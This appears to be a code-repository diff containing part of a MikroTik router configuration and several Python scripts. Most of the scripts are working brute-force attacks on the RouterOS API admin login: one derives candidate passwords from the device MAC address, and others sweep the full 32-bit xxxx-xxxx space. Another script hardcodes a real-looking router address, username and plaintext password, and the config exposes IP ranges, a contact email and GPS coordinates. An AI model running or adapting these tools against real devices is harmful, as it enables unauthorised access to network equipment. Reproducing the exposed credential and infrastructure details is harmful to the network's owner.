add src-address=204.110.188.0/22
add src-address=10.0.0.0/8
add src-address=100.64.0.0/10
add action=deny src-address=0.0.0.0/0
/ip route
add disabled=no dst-address=0.0.0.0/0 gateway=10.250.1.30
add disabled=no dst-address=10.43.0.0/16 gateway=204.110.191.1
add disabled=no dst-address=10.0.16.1/32 gateway=204.110.188.225
add disabled=no dst-address=10.0.16.10/32 gateway=204.110.188.225
add disabled=no dst-address=10.0.16.84/32 gateway=204.110.188.225
/ip service
set ftp address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set telnet address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set www address=204.110.188.0/22,10.0.0.0/8 disabled=yes
set www-ssl address=204.110.188.0/22,10.0.0.0/8
set ssh address=204.110.188.0/22,10.0.0.0/8 port=1022
set winbox address=204.110.188.0/22,10.0.0.0/8
set api address=204.110.188.0/22,10.0.0.0/8,100.64.0.0/10
set api-ssl certificate=myCa
/ip ssh
set host-key-type=ed25519 password-authentication=yes strong-crypto=yes
/ipv6 dhcp-server
add interface=verona lease-time=10m name=server1 prefix-pool=\
verona-v6-pd-pool
/ipv6 nd
set [ find default=yes ] advertise-dns=yes
add advertise-dns=yes interface=verona managed-address-configuration=yes \
other-configuration=yes
/ipv6 nd prefix
add autonomous=no interface=verona
/mpls interface
add interface=ether3-climax-11ghz mpls-mtu=1508
/mpls ldp
add disabled=no lsr-id=10.254.254.101 transport-addresses=10.254.254.101 vrf=\
main
/mpls ldp interface
add interface=ether3-climax-11ghz
/ppp aaa
set interim-update=15m use-radius=yes
/radius
add address=204.110.191.248 require-message-auth=no service=ppp,hotspot,dhcp \
src-address=204.110.188.254 timeout=3s
add accounting-backup=yes address=104.238.144.172 disabled=yes \
require-message-auth=no service=ppp,hotspot,dhcp src-address=\
204.110.188.254 timeout=3s
add address=204.110.191.2 disabled=yes require-message-auth=no service=\
ppp,hotspot,dhcp src-address=204.110.188.254 timeout=3s
/radius incoming
set accept=yes
/routing bfd configuration
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
/routing filter rule
add chain=ospf-in disabled=no rule="accept;"
add chain=ospf-out disabled=no rule="accept;"
/routing ospf interface-template
add area=backbone-v2 auth=sha512 auth-id=1 cost=10 disabled=no interfaces=\
ether3-climax-11ghz priority=1 type=ptp use-bfd=no
add area=backbone-v3 cost=10 disabled=no passive use-bfd=no
add area=backbone-v2 disabled=no passive
/routing ospf static-neighbor
add address=10.250.1.30%ether3-climax-11ghz area=backbone-v2 disabled=no \
poll-interval=10s
/snmp
set contact=graham@vntx.net enabled=yes location="33.246181, -96.426516"
/system clock
set time-zone-name=America/Chicago
/system identity
set name=Verona
/system logging
add action=remote topics=info
add disabled=yes topics=ospf
add action=disk prefix=gtemp topics=firewall
/system note
set show-at-login=no
/system ntp client
set enabled=yes
/system ntp client servers
add address=ntp.vntx.net
add address=0.us.pool.ntp.org
/system package update
set channel=long-term
/system routerboard settings
# Firmware upgraded successfully, please reboot for changes to take effect!
set auto-upgrade=yes enter-setup-on=delete-key
/system scheduler
add name=reboot on-event="/system reboot" policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon \
start-date=2025-02-16 start-time=03:00:00
/tool e-mail
set certificate-verification=no from=mikrotik@vntx.net server=10.0.0.250
/tool sniffer
set file-name=sniffer

View file

@ -0,0 +1,329 @@
#!/usr/bin/env python3
"""
Comprehensive MikroTik Password Attack
Uses reliable API authentication testing with multiple algorithm variations
"""
import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import itertools
import random
class MikroTikAPIAttack:
def __init__(self, host, port=8728):
self.host = host
self.port = port
self.username = "admin"
self.found_password = None
self.attempts = 0
self.start_time = None
self.lock = threading.Lock()
self.stop_flag = threading.Event()
def test_api_password(self, password, timeout=3):
"""Test password using MikroTik API - most reliable method"""
if self.stop_flag.is_set():
return False
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((self.host, self.port))
def encode_length(length):
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
else:
return bytes([0xFF])
def write_word(word):
word_bytes = word.encode('utf-8')
sock.send(encode_length(len(word_bytes)))
sock.send(word_bytes)
def write_sentence(words):
for word in words:
write_word(word)
write_word("")
def read_word():
try:
length_byte = sock.recv(1)
if not length_byte:
return ""
length = length_byte[0]
if length == 0:
return ""
if length & 0x80:
second_byte = sock.recv(1)
if not second_byte:
return ""
length = ((length & 0x7F) << 8) + second_byte[0]
if length > 500: # Sanity check
return ""
return sock.recv(length).decode('utf-8', 'ignore')
except:
return ""
def read_sentence():
sentence = []
while True:
word = read_word()
if word == "":
break
sentence.append(word)
return sentence
# Send login
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
# Read response
response = read_sentence()
sock.close()
# Success if we get "!done" without error
return response and response[0] == "!done"
except Exception:
return False
def test_password(self, password):
"""Test a password and handle progress reporting"""
if self.stop_flag.is_set():
return False
with self.lock:
self.attempts += 1
current_attempts = self.attempts
# Progress reporting
if current_attempts % 50 == 0:
elapsed = time.time() - self.start_time
rate = current_attempts / elapsed if elapsed > 0 else 0
print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
if self.test_api_password(password):
print(f"\n*** PASSWORD FOUND! ***")
print(f"Host: {self.host}")
print(f"Username: {self.username}")
print(f"Password: {password}")
print(f"Total attempts: {current_attempts}")
elapsed = time.time() - self.start_time
print(f"Time taken: {elapsed:.2f} seconds")
self.found_password = password
self.stop_flag.set()
return True
return False
def generate_mac_algorithm_variations(mac_address):
"""Generate comprehensive MAC-based password variations"""
passwords = []
# Parse MAC
mac_clean = mac_address.upper().replace(':', '').replace('-', '')
if len(mac_clean) != 12:
return passwords
mac_bytes = [int(mac_clean[i:i+2], 16) for i in range(0, 12, 2)]
# Test different XOR constants (not just 0xD0)
xor_constants = [0xD0, 0xC0, 0xE0, 0xF0, 0x80, 0x90, 0xA0, 0xB0, 0x60, 0x70, 0x50, 0x40]
# Test different final constants (not just 0xFF)
final_constants = [0xFF, 0xFE, 0xFD, 0xFC, 0x00, 0x01, 0x02, 0x03, 0xAA, 0x55, 0xF0, 0x0F]
# Algorithm variations
for xor_const in xor_constants:
for final_const in final_constants:
# Standard algorithm: MAC[0]^XOR, MAC[1], ~MAC[2], FINAL
pwd_bytes = [
mac_bytes[0] ^ xor_const,
mac_bytes[1],
(~mac_bytes[2]) & 0xFF,
final_const
]
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Variation: Different MAC byte positions
for i in range(6):
for j in range(6):
for k in range(6):
if i != j and j != k and i != k: # Different positions
pwd_bytes = [
mac_bytes[i] ^ xor_const,
mac_bytes[j],
(~mac_bytes[k]) & 0xFF,
final_const
]
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Direct MAC usage patterns
for combo in itertools.permutations(mac_bytes[:4]):
hex_str = ''.join(f'{b:02x}' for b in combo)
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
# Last/First 4 bytes of MAC
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[2:6])
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[0:4])
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
return list(set(passwords)) # Remove duplicates
def generate_pattern_passwords():
"""Generate common password patterns"""
patterns = []
# Basic patterns
basic = [
"0000-0000", "1111-1111", "2222-2222", "ffff-ffff",
"aaaa-aaaa", "bbbb-bbbb", "cccc-cccc", "dddd-dddd",
"1234-5678", "8765-4321", "abcd-efab", "dead-beef",
"cafe-babe", "feed-face", "babe-face", "c0de-d00d",
]
patterns.extend(basic)
# Year-based (installation years)
for year in range(2010, 2025):
patterns.extend([
f"0000-{year:04x}",
f"{year:04x}-0000",
f"{year:04x}-{year:04x}",
f"1234-{year:04x}",
f"{year:04x}-1234",
])
# Sequential hex patterns
for i in range(0, 16):
hex_char = f"{i:x}"
patterns.extend([
f"{hex_char}{hex_char}{hex_char}{hex_char}-{hex_char}{hex_char}{hex_char}{hex_char}",
f"0000-{hex_char}{hex_char}{hex_char}{hex_char}",
f"{hex_char}{hex_char}{hex_char}{hex_char}-0000",
])
return patterns
def generate_incremental_around_base(base_password, range_size=2000):
"""Generate passwords around a base password"""
passwords = []
try:
# Convert base password to integer
hex_str = base_password.replace('-', '')
base_int = int(hex_str, 16)
# Generate passwords around this value
for offset in range(-range_size//2, range_size//2 + 1):
new_val = base_int + offset
if 0 <= new_val <= 0xFFFFFFFF:
hex_str = f"{new_val:08x}"
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
except:
pass
return passwords
def main():
import sys
if len(sys.argv) < 2:
print("Usage: python3 mikrotik_comprehensive_attack.py <HOST> [MAC] [threads]")
print("Example: python3 mikrotik_comprehensive_attack.py 10.250.2.2 B8:69:F4:12:8E:F8 4")
sys.exit(1)
host = sys.argv[1]
mac_address = sys.argv[2] if len(sys.argv) > 2 else "B8:69:F4:12:8E:F8"
threads = int(sys.argv[3]) if len(sys.argv) > 3 else 4
print(f"Comprehensive MikroTik Password Attack")
print(f"Host: {host}")
print(f"MAC: {mac_address}")
print(f"Threads: {threads}")
print("=" * 60)
# Generate password candidates
print("Generating password candidates...")
mac_passwords = generate_mac_algorithm_variations(mac_address)
print(f"MAC-based algorithms: {len(mac_passwords)} passwords")
pattern_passwords = generate_pattern_passwords()
print(f"Common patterns: {len(pattern_passwords)} passwords")
# Generate incremental around the standard algorithm result
base_mac_clean = mac_address.upper().replace(':', '')
base_mac_bytes = [int(base_mac_clean[i:i+2], 16) for i in range(0, 12, 2)]
standard_result = f"{base_mac_bytes[0] ^ 0xD0:02x}{base_mac_bytes[1]:02x}{(~base_mac_bytes[2]) & 0xFF:02x}ff"
standard_formatted = f"{standard_result[:4]}-{standard_result[4:]}"
incremental_passwords = generate_incremental_around_base(standard_formatted, 1000)
print(f"Incremental around {standard_formatted}: {len(incremental_passwords)} passwords")
# Combine all passwords and remove duplicates
all_passwords = list(set(mac_passwords + pattern_passwords + incremental_passwords))
print(f"Total unique passwords: {len(all_passwords)}")
# Prioritize: MAC algorithms first, then patterns, then incremental
prioritized = mac_passwords + pattern_passwords + incremental_passwords
# Remove duplicates while preserving order
seen = set()
final_passwords = []
for pwd in prioritized:
if pwd not in seen:
seen.add(pwd)
final_passwords.append(pwd)
print(f"Testing {len(final_passwords)} passwords in priority order...")
print()
# Run attack
attacker = MikroTikAPIAttack(host)
attacker.start_time = time.time()
# Use ThreadPoolExecutor
with ThreadPoolExecutor(max_workers=threads) as executor:
future_to_password = {
executor.submit(attacker.test_password, pwd): pwd
for pwd in final_passwords
}
for future in as_completed(future_to_password):
if attacker.stop_flag.is_set():
# Cancel remaining tasks
for f in future_to_password:
f.cancel()
break
try:
result = future.result()
if result:
print(f"\n✓ SUCCESS! Password found: {attacker.found_password}")
sys.exit(0)
except Exception as e:
password = future_to_password[future]
print(f"Error testing {password}: {e}")
if not attacker.found_password:
elapsed = time.time() - attacker.start_time
print(f"\nAttack completed without success.")
print(f"Total attempts: {attacker.attempts}")
print(f"Time taken: {elapsed:.2f} seconds")
print(f"Rate: {attacker.attempts/elapsed:.1f} passwords/second")
print("\nPassword not found in tested algorithms.")
print("Consider:")
print("1. Device may use different algorithm")
print("2. Custom password may be set")
print("3. Hardware reset if device is accessible")
sys.exit(1)
if __name__ == "__main__":
main()

252
mikrotik_connect.py Executable file
View file

@ -0,0 +1,252 @@
#!/usr/bin/env python3
import ssl
import socket
import hashlib
import binascii
import sys
import json
class MikrotikAPI:
def __init__(self, host, username, password, port=8729):
self.host = host
self.port = port
self.username = username
self.password = password
self.sock = None
self.ssl_sock = None
def connect(self):
"""Establish SSL connection to MikroTik router"""
try:
# Create socket and SSL context
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
# Allow older SSL/TLS versions for compatibility
context.set_ciphers('DEFAULT:@SECLEVEL=0')
# Connect to router
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(30) # 30 second timeout
self.sock.connect((self.host, self.port))
self.ssl_sock = context.wrap_socket(self.sock)
print(f"Connected to {self.host}:{self.port}")
return True
except Exception as e:
print(f"Connection failed: {e}")
return False
def disconnect(self):
"""Close the connection"""
if self.ssl_sock:
self.ssl_sock.close()
if self.sock:
self.sock.close()
def encode_length(self, length):
"""Encode length for MikroTik API protocol"""
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
elif length <= 0x1FFFFF:
return bytes([((length >> 16) & 0xFF) | 0xC0,
(length >> 8) & 0xFF,
length & 0xFF])
elif length <= 0xFFFFFFF:
return bytes([((length >> 24) & 0xFF) | 0xE0,
(length >> 16) & 0xFF,
(length >> 8) & 0xFF,
length & 0xFF])
else:
return bytes([0xF0,
(length >> 24) & 0xFF,
(length >> 16) & 0xFF,
(length >> 8) & 0xFF,
length & 0xFF])
def decode_length(self):
"""Decode length from MikroTik API protocol"""
c = self.ssl_sock.recv(1)[0]
if (c & 0x80) == 0x00:
return c
elif (c & 0xC0) == 0x80:
return ((c & ~0xC0) << 8) + self.ssl_sock.recv(1)[0]
elif (c & 0xE0) == 0xC0:
data = self.ssl_sock.recv(2)
return ((c & ~0xE0) << 16) + (data[0] << 8) + data[1]
elif (c & 0xF0) == 0xE0:
data = self.ssl_sock.recv(3)
return ((c & ~0xF0) << 24) + (data[0] << 16) + (data[1] << 8) + data[2]
elif (c & 0xF8) == 0xF0:
data = self.ssl_sock.recv(4)
return (data[0] << 24) + (data[1] << 16) + (data[2] << 8) + data[3]
def write_word(self, word):
"""Send a word to the router"""
word_bytes = word.encode('utf-8')
self.ssl_sock.send(self.encode_length(len(word_bytes)))
self.ssl_sock.send(word_bytes)
def read_word(self):
"""Read a word from the router"""
length = self.decode_length()
if length == 0:
return ""
return self.ssl_sock.recv(length).decode('utf-8', 'ignore')
def write_sentence(self, words):
"""Send a sentence (list of words) to the router"""
for word in words:
self.write_word(word)
self.write_word("")
def read_sentence(self):
"""Read a sentence from the router"""
sentence = []
while True:
word = self.read_word()
if word == "":
break
sentence.append(word)
return sentence
def login(self):
"""Login to the router using plain password method"""
# Send login command
self.write_sentence(["/login", f"=name={self.username}", f"=password={self.password}"])
# Read response
response = self.read_sentence()
if response and response[0] == "!done":
print("Login successful")
return True
else:
print(f"Login failed: {response}")
return False
def command(self, cmd, params=None):
"""Execute a command on the router"""
if params is None:
params = []
# Send command
sentence = [cmd] + params
self.write_sentence(sentence)
# Read response
results = []
while True:
sentence = self.read_sentence()
if not sentence:
break
if sentence[0] == "!done":
break
elif sentence[0] == "!re":
# Parse response data
result = {}
for item in sentence[1:]:
if item.startswith("="):
parts = item[1:].split("=", 1)
if len(parts) == 2:
result[parts[0]] = parts[1]
else:
result[parts[0]] = ""
results.append(result)
elif sentence[0] == "!trap":
print(f"Error: {sentence}")
break
return results
def main():
# Router connection details
host = "10.254.254.101"
username = "grahamro"
password = "cFKhz8q5gPLoucMbcT1Iy58r3IXgc3"
# Create API instance
api = MikrotikAPI(host, username, password)
try:
# Connect and login
if not api.connect():
return
if not api.login():
return
print("\nRetrieving IP addresses and subnets...")
# Get all IP addresses
addresses = api.command("/ip/address/print")
print("\n=== IP Addresses and Subnets ===")
for addr in addresses:
interface = addr.get('interface', 'unknown')
address = addr.get('address', 'unknown')
network = addr.get('network', '')
actual_interface = addr.get('actual-interface', interface)
disabled = addr.get('disabled', 'false')
dynamic = addr.get('dynamic', 'false')
comment = addr.get('comment', '')
status = []
if disabled == 'true':
status.append('disabled')
if dynamic == 'true':
status.append('dynamic')
status_str = f" ({', '.join(status)})" if status else ""
comment_str = f" - {comment}" if comment else ""
print(f"\nInterface: {interface} ({actual_interface}){status_str}")
print(f" Address: {address}")
print(f" Network: {network}{comment_str}")
# Get routing table for additional subnet information
print("\n\n=== Routing Table ===")
routes = api.command("/ip/route/print")
# Filter and display relevant routes
for route in routes:
dst = route.get('dst-address', '')
gateway = route.get('gateway', '')
distance = route.get('distance', '')
scope = route.get('scope', '')
active = route.get('active', 'false')
dynamic = route.get('dynamic', 'false')
comment = route.get('comment', '')
# Skip default routes for clarity
if dst == '0.0.0.0/0':
continue
status = []
if active != 'true':
status.append('inactive')
if dynamic == 'true':
status.append('dynamic')
status_str = f" ({', '.join(status)})" if status else ""
comment_str = f" - {comment}" if comment else ""
print(f"\nDestination: {dst}{status_str}")
print(f" Gateway: {gateway}")
if distance:
print(f" Distance: {distance}")
if scope and scope != '30':
print(f" Scope: {scope}")
if comment:
print(f" Comment: {comment}")
finally:
api.disconnect()
print("\nDisconnected from router")
if __name__ == "__main__":
main()

View file

@ -0,0 +1,227 @@
#!/usr/bin/env python3
"""
Ultra-Fast MikroTik Brute Force Attack
Optimized for maximum speed with minimal overhead
"""
import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor
import sys
import signal
import queue
class FastMikroTikBruteForce:
def __init__(self, host, port=8728):
self.host = host
self.port = port
self.username = "admin"
self.found_password = None
self.attempts = 0
self.start_time = None
self.lock = threading.Lock()
self.stop_flag = threading.Event()
self.host_bytes = socket.inet_aton(host)
def fast_api_test(self, password):
"""Ultra-fast API test with minimal overhead"""
if self.stop_flag.is_set():
return False
try:
# Create socket with optimizations
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
sock.settimeout(1) # Very short timeout
# Connect
sock.connect((self.host, self.port))
# Pre-build login message for speed
login_cmd = "/login"
name_param = f"=name={self.username}"
pass_param = f"=password={password}"
# Send each word with length prefix (simplified encoding)
def send_word(word):
word_bytes = word.encode('utf-8')
length = len(word_bytes)
if length <= 127:
sock.send(bytes([length]) + word_bytes)
else:
# Skip overly long words for speed
return False
return True
# Send login command
send_word(login_cmd)
send_word(name_param)
send_word(pass_param)
send_word("") # End sentence
# Quick response check - just look for first byte
try:
response = sock.recv(1)
if response:
# Read a bit more to check for success
more_data = sock.recv(10)
sock.close()
# Very basic success detection
# "!done" starts with 0x05 (length) + 0x21 ("!")
if len(response) > 0 and response[0] == 5:
second_response = sock.recv(1)
if len(second_response) > 0 and second_response[0] == 0x21: # "!"
return True
else:
sock.close()
return False
except:
sock.close()
return False
except Exception:
return False
return False
def worker_thread(self, work_queue, result_queue):
"""Worker thread that processes password ranges"""
while not self.stop_flag.is_set():
try:
# Get work chunk
start_val, end_val = work_queue.get(timeout=1)
except queue.Empty:
continue
for value in range(start_val, end_val):
if self.stop_flag.is_set():
break
# Convert to password format quickly
hex_str = f"{value:08x}"
password = f"{hex_str[:4]}-{hex_str[4:]}"
with self.lock:
self.attempts += 1
current_attempts = self.attempts
# Less frequent progress reporting for speed
if current_attempts % 500 == 0:
elapsed = time.time() - self.start_time
rate = current_attempts / elapsed if elapsed > 0 else 0
print(f"[*] {current_attempts:,} attempts ({rate:.0f}/sec) - Testing: {password}")
if self.fast_api_test(password):
result_queue.put(password)
self.stop_flag.set()
return
work_queue.task_done()
def run_optimized_brute_force(self, max_workers=16, chunk_size=500, start_from=0):
"""Run optimized brute force with work queue"""
print(f"Ultra-Fast MikroTik Brute Force")
print(f"Host: {self.host}")
print(f"Workers: {max_workers}")
print(f"Chunk size: {chunk_size}")
print(f"Starting from: 0x{start_from:08x}")
print("=" * 60)
self.start_time = time.time()
# Create work and result queues
work_queue = queue.Queue(maxsize=max_workers * 4)
result_queue = queue.Queue()
# Start worker threads
workers = []
for i in range(max_workers):
worker = threading.Thread(
target=self.worker_thread,
args=(work_queue, result_queue),
daemon=True
)
worker.start()
workers.append(worker)
# Producer thread to feed work
def producer():
current = start_from
while current < 0xFFFFFFFF and not self.stop_flag.is_set():
end = min(current + chunk_size, 0xFFFFFFFF + 1)
try:
work_queue.put((current, end), timeout=1)
current = end
except queue.Full:
time.sleep(0.01) # Brief pause if queue full
producer_thread = threading.Thread(target=producer, daemon=True)
producer_thread.start()
# Monitor for results
try:
while not self.stop_flag.is_set():
try:
password = result_queue.get(timeout=1)
print(f"\n*** PASSWORD FOUND! ***")
print(f"Password: {password}")
elapsed = time.time() - self.start_time
print(f"Attempts: {self.attempts:,}")
print(f"Time: {elapsed:.2f} seconds")
print(f"Rate: {self.attempts/elapsed:.0f} passwords/second")
return password
except queue.Empty:
continue
except KeyboardInterrupt:
print(f"\nStopping...")
self.stop_flag.set()
# Wait for workers to finish
for worker in workers:
worker.join(timeout=1)
return None
def main():
if len(sys.argv) < 2:
print("Usage: python3 mikrotik_fast_brute_force.py <HOST> [workers] [start_hex]")
print("Examples:")
print(" python3 mikrotik_fast_brute_force.py 10.250.2.2")
print(" python3 mikrotik_fast_brute_force.py 10.250.2.2 32")
print(" python3 mikrotik_fast_brute_force.py 10.250.2.2 32 0x00010000")
sys.exit(1)
host = sys.argv[1]
workers = int(sys.argv[2]) if len(sys.argv) > 2 else 16
start_from = 0
if len(sys.argv) > 3:
start_hex = sys.argv[3]
start_from = int(start_hex, 16) if start_hex.startswith('0x') else int(start_hex)
# Optimize workers based on CPU cores but don't go crazy
import os
cpu_count = os.cpu_count() or 4
if workers > cpu_count * 4:
print(f"Warning: {workers} workers might be too many for {cpu_count} CPU cores")
print(f"Consider using {cpu_count * 2} workers instead")
attacker = FastMikroTikBruteForce(host)
print(f"Starting optimized attack with {workers} workers...")
password = attacker.run_optimized_brute_force(
max_workers=workers,
chunk_size=500,
start_from=start_from
)
if password:
print(f"\n✓ SUCCESS! Password: {password}")
else:
print(f"\n✗ Attack stopped without finding password")
if __name__ == "__main__":
main()

View file

@ -0,0 +1,292 @@
#!/usr/bin/env python3
"""
MikroTik Full Brute Force Attack
Systematically tests ALL possible xxxx-xxxx password combinations
4,294,967,296 total passwords (0x00000000 to 0xFFFFFFFF)
"""
import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys
import signal
class MikroTikFullBruteForce:
def __init__(self, host, port=8728):
self.host = host
self.port = port
self.username = "admin"
self.found_password = None
self.attempts = 0
self.start_time = None
self.lock = threading.Lock()
self.stop_flag = threading.Event()
self.start_value = 0
self.current_value = 0
def test_api_password(self, password, timeout=2):
"""Test password using MikroTik API"""
if self.stop_flag.is_set():
return False
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((self.host, self.port))
def encode_length(length):
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
else:
return bytes([0xFF])
def write_word(word):
word_bytes = word.encode('utf-8')
sock.send(encode_length(len(word_bytes)))
sock.send(word_bytes)
def write_sentence(words):
for word in words:
write_word(word)
write_word("")
def read_word():
try:
length_byte = sock.recv(1)
if not length_byte:
return ""
length = length_byte[0]
if length == 0:
return ""
if length & 0x80:
second_byte = sock.recv(1)
if not second_byte:
return ""
length = ((length & 0x7F) << 8) + second_byte[0]
if length > 500:
return ""
return sock.recv(length).decode('utf-8', 'ignore')
except:
return ""
def read_sentence():
sentence = []
while True:
word = read_word()
if word == "":
break
sentence.append(word)
return sentence
# Send login
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
# Read response
response = read_sentence()
sock.close()
return response and response[0] == "!done"
except Exception:
return False
def int_to_password(self, value):
"""Convert integer to xxxx-xxxx password format"""
hex_str = f"{value:08x}"
return f"{hex_str[:4]}-{hex_str[4:]}"
def test_password_range(self, start_val, end_val):
"""Test a range of password values"""
for value in range(start_val, end_val):
if self.stop_flag.is_set():
return None
password = self.int_to_password(value)
with self.lock:
self.attempts += 1
self.current_value = value
current_attempts = self.attempts
# Progress reporting every 100 attempts
if current_attempts % 100 == 0:
elapsed = time.time() - self.start_time
rate = current_attempts / elapsed if elapsed > 0 else 0
percent = (value / 0xFFFFFFFF) * 100
# Estimate time remaining
if rate > 0:
remaining_passwords = 0xFFFFFFFF - current_attempts
eta_seconds = remaining_passwords / rate
eta_hours = eta_seconds / 3600
eta_days = eta_hours / 24
if eta_days > 1:
eta_str = f"{eta_days:.1f} days"
elif eta_hours > 1:
eta_str = f"{eta_hours:.1f} hours"
else:
eta_str = f"{eta_seconds/60:.1f} minutes"
else:
eta_str = "unknown"
print(f"[*] {current_attempts:,} attempts ({rate:.1f}/sec) - "
f"Progress: {percent:.6f}% - Current: {password} - ETA: {eta_str}")
if self.test_api_password(password):
print(f"\n*** PASSWORD FOUND! ***")
print(f"Password: {password}")
print(f"Value: 0x{value:08x} ({value:,})")
print(f"Total attempts: {current_attempts:,}")
elapsed = time.time() - self.start_time
print(f"Time taken: {elapsed:.2f} seconds ({elapsed/3600:.2f} hours)")
self.found_password = password
self.stop_flag.set()
return password
return None
def run_full_brute_force(self, max_workers=4, chunk_size=1000, start_from=0):
"""Run full brute force attack"""
print(f"MikroTik Full Brute Force Attack")
print(f"Host: {self.host}")
print(f"Total password space: 4,294,967,296 (0x00000000 to 0xFFFFFFFF)")
print(f"Starting from: 0x{start_from:08x} ({start_from:,})")
print(f"Threads: {max_workers}")
print(f"Chunk size: {chunk_size:,}")
print("=" * 80)
if start_from > 0:
print(f"WARNING: Resuming from 0x{start_from:08x}")
print(f"Skipping {start_from:,} passwords")
print()
# Estimate time at different rates
total_passwords = 0xFFFFFFFF - start_from
print("Time estimates at different speeds:")
for rate in [50, 100, 200, 500]:
seconds = total_passwords / rate
days = seconds / (24 * 3600)
print(f" {rate:3d} pwd/sec: {days:.1f} days")
print()
self.start_time = time.time()
self.current_value = start_from
# Create work chunks
chunks = []
current = start_from
while current < 0xFFFFFFFF:
end = min(current + chunk_size, 0xFFFFFFFF + 1)
chunks.append((current, end))
current = end
print(f"Created {len(chunks):,} chunks of {chunk_size:,} passwords each")
print(f"Starting brute force attack...")
print()
# Use ThreadPoolExecutor
with ThreadPoolExecutor(max_workers=max_workers) as executor:
future_to_chunk = {
executor.submit(self.test_password_range, start, end): (start, end)
for start, end in chunks[:max_workers * 10] # Submit first batch
}
chunk_index = max_workers * 10
for future in as_completed(future_to_chunk):
if self.stop_flag.is_set():
# Cancel remaining tasks
for f in future_to_chunk:
f.cancel()
break
chunk_range = future_to_chunk[future]
try:
result = future.result()
if result:
return result
except Exception as e:
print(f"Error in chunk {chunk_range}: {e}")
# Submit next chunk if available
if chunk_index < len(chunks) and not self.stop_flag.is_set():
start, end = chunks[chunk_index]
new_future = executor.submit(self.test_password_range, start, end)
future_to_chunk[new_future] = (start, end)
chunk_index += 1
if not self.found_password:
elapsed = time.time() - self.start_time
print(f"\nBrute force completed without finding password.")
print(f"Total attempts: {self.attempts:,}")
print(f"Time taken: {elapsed:.2f} seconds ({elapsed/3600:.2f} hours)")
if self.attempts > 0:
print(f"Average rate: {self.attempts/elapsed:.1f} passwords/second")
return self.found_password
def signal_handler(signum, frame):
"""Handle Ctrl+C gracefully"""
print(f"\n\nReceived signal {signum}")
print("Stopping attack gracefully...")
sys.exit(0)
def main():
if len(sys.argv) < 2:
print("Usage: python3 mikrotik_full_brute_force.py <HOST> [threads] [start_from_hex]")
print("Examples:")
print(" python3 mikrotik_full_brute_force.py 10.250.2.2")
print(" python3 mikrotik_full_brute_force.py 10.250.2.2 8")
print(" python3 mikrotik_full_brute_force.py 10.250.2.2 8 0x00010000 # Resume from 0x00010000")
print()
print("WARNING: Full brute force will take a VERY long time!")
print("At 100 passwords/second, it would take ~1.36 years to complete.")
sys.exit(1)
host = sys.argv[1]
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
start_from = 0
if len(sys.argv) > 3:
start_hex = sys.argv[3]
if start_hex.startswith('0x'):
start_from = int(start_hex, 16)
else:
start_from = int(start_hex)
# Install signal handler
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
# Confirm before starting
print(f"About to start full brute force against {host}")
print(f"This will test ALL 4,294,967,296 possible passwords!")
print(f"Starting from: 0x{start_from:08x}")
print()
response = input("Are you sure you want to continue? (yes/no): ")
if response.lower() != 'yes':
print("Aborted.")
sys.exit(0)
attacker = MikroTikFullBruteForce(host)
password = attacker.run_full_brute_force(
max_workers=threads,
chunk_size=1000,
start_from=start_from
)
if password:
print(f"\n✓ SUCCESS! Password found: {password}")
sys.exit(0)
else:
print(f"\n✗ Password not found in tested range.")
sys.exit(1)
if __name__ == "__main__":
main()

296
mikrotik_reliable_fast.py Normal file
View file

@ -0,0 +1,296 @@
#!/usr/bin/env python3
"""
Reliable Fast MikroTik Brute Force
Optimized for speed while maintaining authentication accuracy
"""
import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor
import queue
import sys
class ReliableFastBruteForce:
def __init__(self, host, port=8728):
self.host = host
self.port = port
self.username = "admin"
self.attempts = 0
self.start_time = None
self.lock = threading.Lock()
self.stop_flag = threading.Event()
self.found_password = None
def reliable_api_test(self, password):
"""Fast but reliable API test"""
if self.stop_flag.is_set():
return False
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
sock.settimeout(2) # Reasonable timeout
sock.connect((self.host, self.port))
def encode_length(length):
if length <= 0x7F:
return bytes([length])
elif length <= 0x3FFF:
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
else:
return bytes([0xFF])
def write_word(word):
word_bytes = word.encode('utf-8')
sock.send(encode_length(len(word_bytes)))
sock.send(word_bytes)
